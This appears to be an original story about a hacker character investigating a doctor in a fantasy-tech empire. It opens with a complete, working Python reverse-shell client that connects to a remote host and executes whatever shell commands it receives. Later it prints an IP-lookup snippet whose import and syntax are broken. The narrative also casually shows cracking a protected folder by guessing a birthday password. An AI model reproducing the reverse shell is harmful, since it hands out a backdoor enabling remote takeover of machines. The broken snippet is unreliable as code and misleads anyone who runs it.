import socket 

 import subprocess 


 REMOTE_HOST = '127.0.0.1' # '192.168.43.82' 

 REMOTE_PORT = 8081 # 2222 

 client = socket.socket() 

 print("[-] Connection Initiating...") 

 client.connect((REMOTE_HOST, REMOTE_PORT)) 

 print("[-] Connection initiated!") 




 while True: 

     print("[-] Awaiting commands...") 

     command = client.recv(1024) 

     command = command.decode() 

     op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE) 

     output = op.stdout.read() 

     output_error = op.stderr.read() 

     print("[-] Sending response...") 

     client.send(output + output_error) 

 
  How. the.fuck.   
  How did they manage this? Seriously. Also; why does nobody take technical security seriously anymore? Firstname.lastname and Admin1! . This is baby stuff. Christ. Makes their job unbelievably easier.  Ghala stares at the screen. Cute wood elf boy in a lab coat with a few others in scrubs at his side as the wallpaper, with a few folders. How cute. He couldn’t have been…what mid-20’s? “Taxes”...seriously? Medical notes, misc. Folder…obv “taxes” come first. Password protected. Birthday? Bingo. Seriously dude - figure your shit out. He went to medical school for how long, and he still used such archaic passwords. Didn’t they go over this during the first few weeks of college each year? Someone clears their throat, and Ghala looks over. The sickly visage of the medical examiner, just staring at Ghala with dead eyes. She was from an old project where they first began experimenting with consciousness. They made a realistic artificial intelligence, and after an “incident”, the AI was transplanted into the body. She still raises so many questions. Is she able to cast like a….born  Somnium, or is it all just electricity and technology? Does she actually have the born rights of those born in the country or-,“...Could you run a diagnostic and defragmen' check on me today, i know you are busy bu' i am no' feeling well.” Right. They struggle with if it’s technology or biology that’s having the issue, 
“Of course. Plug into the main and I’ll run it for you. Have you gone through the protocol?” Vex nods, and takes a seat, looking through some wires for a specific jax cord to match the one on the back of her neck. Eerie. A “plug” on the back of her neck linked not just her to her body, but to all the technology the empire currently has. She finds it and plugs it in, Ghala swinging over to unlock the other computer she’s plugged into,”...I’ll run a loop to do both, and if need be schedule a maintenance ticket for you…while I do so; How have you been?” They watch the screen carefully as vex’s voice can be heard through the speakers, 
“I am doing well, thanky you. How are you and Arik? i have no' been able to stop by as much as I would like.” Ghala waves them off. It’s really on them - they should have invited them to game night…but then again, they are a computer. That might constitute cheating… 
“We’re good. Had to pause working on the exhibition because of all the chaos, but otherwise good. You’ve been busy?” She nods gently, very aware of the wires that make her neck stiff, 
“Indeed. With drif' era infecting others, i' has been quite the challenge balancing no' getting infected and finding the cause of death.” Ghala nods, thankful that they never had to get anywhere near the stuff. Working in the office coding and observing cameras has it’s advantages. Though, they did miss so many important things that go on… 
“How’s taking over my job been for you? I was worried they might have put too much on you’re plate.” Vex actually smiles at them, before chuckling. If they weren’t used to it, it’d be…jarring and terrifying. Static-y and robotic - like the old fax machines their dad used to use. 
“I' is going well. I am no' overwhelmed in the slightes' - i had to ge' a system upgrade so my system could handle going back and forth - i have even taken up cross stitching while going over the flags.”  The jarring ding that goes through the speakers notify both vex and Ghala that the diagnostic is done, and Ghala chuckles. For someone who dresses completely goth, they’re getting into something that’s not so goth. They suppose that cross stitch is like coding in a way. 
“Is that so? I didn’t think you were a cross stitch kind of person. I thought you’d go into candle making or painting…” Vex’s body shutters as the AI returns back to it’s body, 
“I did ge' into painting a while ago, i' is no' my thing. Thanky you. I will call you sometime. “ they disconnect, bow and jarringly walk away. Yeah…they’re still slowly trying to get more well versed in talking with others, but once what they need done is done, they’re gone. Kind…person though. Regardless, turning back to what they were doing before they take a quick look at the personal computer connected to this one. 

import urlopen

import re as r

def getIP():

    d = str(urlopen('http://checkip.dyndns.com/')

            .read())

    return r.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').

             search(d).group(1)

print(getIP())

101.143.255.255

Midtown Vale. Holy shit. It’s not exact, but it’s a fantastic way to start. Three tower ping. She dials General Bechtel’s number. Alright, well - it’s now Stoyer-Betchel but regardless. Straight to voicemail? The hell? Thundering footsteps alerts them that he’s coming straight into their “office”. He seems tense, it must be that they still haven’t found the princess,
“Whit dae ye have.” They motion to Dr. Caelum’s IP shining bright on the giant screen,
“General Location, three towers ping to the service.” They quickly send the information to his devices and turn to look at him just as his shoulders seem to relax,
“Thank ye. Truly. We neit tae act now. A'll talk tae ye personally later on.” he quickly bends down to “kiss” them, before thundering off to probably begin searching and spying on buildings. A raid is coming…probably. They turn and look at the computer, and go back to the videos.

⋘ 𝑃𝑙𝑒𝑎𝑠𝑒 𝑤𝑎𝑖𝑡... ⋙

Screams. Unholy, unnatural screams. Haunting. You can barely even think as multiple people just scream these feral, pained and guttural cries for help and for mercy.

0:57 ————|——— -2:10
ᴠᴏʟᴜᴍᴇ : ▮▯▯▯▯▯▯▯▯

What…are they even doing? Muted volume, three people strapped down a surgery table. Weird machines they’ve never seen before, and people just…struggling to get free. Ghala just…stares. No idea what’s happening but whatever it is, they’re going to find out.
But first….they need to keep this evidence.

███▒▒▒▒▒▒▒ 30%